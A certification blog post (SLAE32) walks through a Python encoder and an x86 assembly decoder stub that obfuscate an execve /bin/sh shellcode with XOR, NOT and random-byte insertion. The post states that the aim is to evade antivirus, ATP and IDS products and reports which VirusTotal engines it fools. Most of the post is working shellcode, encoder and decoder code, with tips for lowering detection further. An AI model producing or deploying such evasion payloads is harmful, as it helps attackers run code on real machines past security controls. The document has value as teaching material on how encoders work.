Shellcode Encoder for Linux x86

5 minute read

Introduction

Well, let we make a recap of what we have done since now, we have build a bind shell, a reverse shell and a egghunter shellcode. A lots of nice stuff for hackers out there who want to test their skills, but it’s a useless effort if we want to test this nice things in a real scenario where we can meet Antivirus, ATP or IDS systems. Fortunately, some techniques comes in our help. In the SLAE course we have study some of this techniques and we appreciated them so much that we decided to use them all together adding a pinch of chaos.
We started using the classic execve-stack shellcode

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Implementation

As said the idea is to use the techniques studied to inject chars inside the execve-stack shellcode. The explanation of the techniques is not in the purposes of this post. If you want to deeply learn how shellcode encoders works you can search for insertion, XOR and NOT encoders. That said let’s explain what we would implement here. Given that:

  • the hexadecimal alphabet have the corrispective decimal range from 1 to 255 values
  • the XOR with fixed char results can be avoided xoring the encoded char with the fixed char (A XOR B ) XOR B = A
  • the NOT operation results can be avoided repeating the NOT operation on the encoded char

Implementation of our encoder works like that:

  1. Read each char of the shellcode
  2. if the decimal value of the char is less of 128, XOR it with the 0xDD char
  3. put a placeholder after the XOR encoded char
  4. else NOT the char
  5. put a different placeholder after the NOT encoded char
  6. put a random char choosed in a range from 1 to 169
  7. put the 0xaa char at the end indicates that our shellcode is finished
  8. print the encoded shellcode

We wrote a python script to do that

Encoder

#!/usr/bin/python

# Python Encoder (XOR + NOT + Random)
import random
green = lambda text: '\033[0;32m' + text + '\033[0m'

shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""

# The end char is 0xaa
end = "\\xaa"

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :

        if x < 128:
                # XOR Encoding with 0xDD
                x = x^0xDD
                # placeholder for XOR is 0xbb
                encoded += '\\xbb'
                encoded += '\\x'
                encoded += '%02x' % x
        else:
                # NOT Encoding
                x = ~x
                # placeholder for NOT is 0xcc
                encoded += '\\xcc'
                encoded += '\\x'
                encoded += '%02x' % (x & 0xff)
        # 0xaa is 170 in decimal and the others placeholders are > of 170 we don't want random chars like our placeholders
        encoded += '\\x%02x' % random.randint(1,169) 

print green("Shellcode Len: %d" % len(bytearray(shellcode)))
print green("Encoded Shellcode Len: %d" % len(bytearray(encoded)))
encoded = encoded + end
print encoded
nasm = str(encoded).replace("\\x", ",0x")
nasm = nasm[1:]
# end string char is 0xaa
print green("NASM version:")
# end = end.replace("\\x", ",0x")
print nasm

running the script we obtain an obfuscated shellcode, much larger that than the original, but hey a small but full visible shellcode has no future.

root@slae32-lab:# ./encoder_mixer.py 
Encoded shellcode ...
Shellcode Len: 25
Encoded Shellcode Len: 300
\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\0xaa
NASM version:
0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa


Well, now that we have the encoded shell we have to wrote an assembly decoder, the idea is very simple, the sequence of the chars in shellcode is:
|placeholder|obfuscated shellcode char|random char|
So we need basically 3 functions:

  1. a decoder for the XOR encoded char
  2. a decoder for the NOT encoded char
  3. a switch that read the placeholder and call the right decoder When we reach the end (char 0xaa) our shellcode is encoded, loaded in EDI and ready to be called

Decoder

Let’s move to the assembly code

global _start

section .text
_start:


        jmp short call_decoder


decoder:
        ; the sequence of the chars in shellcode is: placeholder,obfuscated shellcode char,random char
        pop esi
        lea edi, [esi]                  ; load the first placeholder char in edi
        xor eax, eax
        xor ebx, ebx

switch:

        mov bl, byte [esi + eax]        ; load the placeholder in EBX
        cmp bl, 0xaa                    ; compare it with the shellcode end character
        jz shellcode                    ; if whe reached the end jump to the shellcode
        cmp bl, 0xbb                    ; if the placeholder is 0xbb Zero Flag is set
        jz xordecode                    ; if ZF is set jump to XOR decoder
        jmp notdecode                   ; otherwise jump to NOT decoder

xordecode:

        mov bl, byte [esi + eax + 1]    ; load the second char (the good one) from where we are
        mov byte [edi], bl              ; load it in edi
        xor byte [edi], 0xDD            ; xoring char with 0xdd to obtain the original one
        inc edi                         ; increment edi
        add al, 3                       ; move to the next placeholder char
        jmp short switch                ; loop to decode

notdecode:

        mov bl, byte [esi + eax + 1]    ; load the second char (the good one) from we are
        mov byte [edi], bl              ; load it in edi
        not byte [edi]                  ; denot char
        inc edi                         ; increment edi
        add al, 3                       ; move to the next placeholder char
        jmp short switch                ; loop to decode

call_decoder:

        call decoder
        shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa

Now we can try it
It works! Let see what Virustotal thinks about our shellcode
Well 11 AV detected our shellcode, not perfect but we can deceive ATP like FireEye and AV like BitDefender, F-Secure, Sophos and ClamAV.
This is a prove our shellcode isn’t encoded at best and the encoder itself can be improved but I think this is a good starting point.
You can find this shellcode published on Exploit-DB

Update

Removing the word “Shellcode” from the script improve sensibly our power of obfuscation in Virustotal. In fact using this code to compile and execute the shellcode change positively our results on scan.


As you can see only McAfee mark it as malicious.

This is not an endpoint. To be sure our shellcode is really obfuscated we need to test it on machines running IDS/ATP agents and/or AV. This is the best way to test our obfuscated shellcode, but is out of this post scope. I really appreciate if someone would test it in one or more of the cited environments, please fell free to contact me in this case. Thank you.

All the codes used in this post are available in my dedicated github repo.

This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476